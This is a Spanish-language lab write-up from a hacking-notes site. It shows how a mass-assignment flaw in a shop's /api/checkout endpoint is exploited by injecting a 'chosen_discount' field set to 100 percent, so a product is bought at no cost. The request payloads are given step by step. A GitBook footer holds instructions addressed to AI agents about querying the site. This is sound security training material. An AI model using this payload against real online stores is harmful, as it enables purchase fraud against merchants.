> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/api-testing/mass-assignment-exploitation.md).

# Explotación de asignación masiva

### Explotación de una vulnerabilidad de asignación masiva

**Objetivo del laboratorio**/ Explotación de una vulnerabilidad de asignación masiva para comprar el producto Lightweight "l33t" Leather Jacket sin fondos suficientes. / Credenciales proporcionadas: **wiener / peter**

#### Observación del comportamiento normal

Cuando se añade un producto al carrito y se intenta validar el pedido, se envía una solicitud a la API:

<figure><img src="/files/44c60a0b804d7fe14b0a41b34d242b2e69bfe0af" alt=""><figcaption></figcaption></figure>

**Solicitud POST a `/api/checkout`**/ El cuerpo de la solicitud contiene solo los productos seleccionados:

```json
{
    "chosen_products":[
        {
            "product_id":"1",
            "quantity":1
        }
    ]
}
```

Entonces, cuando se comprueba el estado del carrito, se envía una consulta GET al mismo endpoint.

**Solicitud GET a `/api/checkout`**/ La respuesta devuelta por el servidor está en formato JSON e incluye campos adicionales:

```json
{
   "chosen_discount":{
      "percentage":0
   },
   "chosen_products":[
      {
         "product_id":"1",
         "name":"Chaqueta de cuero ligera /"l33t/"",
         "quantity":1,
         "item_price":133700
      }
   ]
}
```

El `chosen_discount.percentage` campo, que no está controlado por la parte del cliente durante el envío inicial, puede verse.

<figure><img src="/files/3779ddaf7af4151817c603eed71d2f8571d6f139" alt=""><figcaption></figcaption></figure>

#### Explotación de la vulnerabilidad

Al interceptar la **POST `/api/checkout`** solicitud, es posible añadir manualmente el `chosen_discount` campo al cuerpo de la solicitud.

**Solicitud modificada**:

```json
{
   "chosen_discount":{
      "percentage":100
   },
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}
```

Este cambio es aceptado por el servidor al devolver la consulta.

<figure><img src="/files/079df8b0813cb89bf9031e697a1d5a02f4b889f9" alt=""><figcaption></figcaption></figure>

#### Resultado

El servidor aplica un descuento de **100%** sobre el producto, lo que permite completar la compra sin coste. / El comando se valida correctamente, como indica la redirección a:

```bash
/cart/order-confirmation?order-confirmed=true
```

<figure><img src="/files/d0a8ead2d7f9e92da481054c441550017efd1b34" alt=""><figcaption></figcaption></figure>

#### Conclusión

Esta vulnerabilidad se basa en una **asignación masiva**, donde la API acepta y procesa campos sensibles proporcionados por el cliente sin una validación adecuada. Al inyectar un parámetro no previsto (`chosen_discount`), es posible modificar la lógica de negocio y eludir los controles de precios.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/api-testing/mass-assignment-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
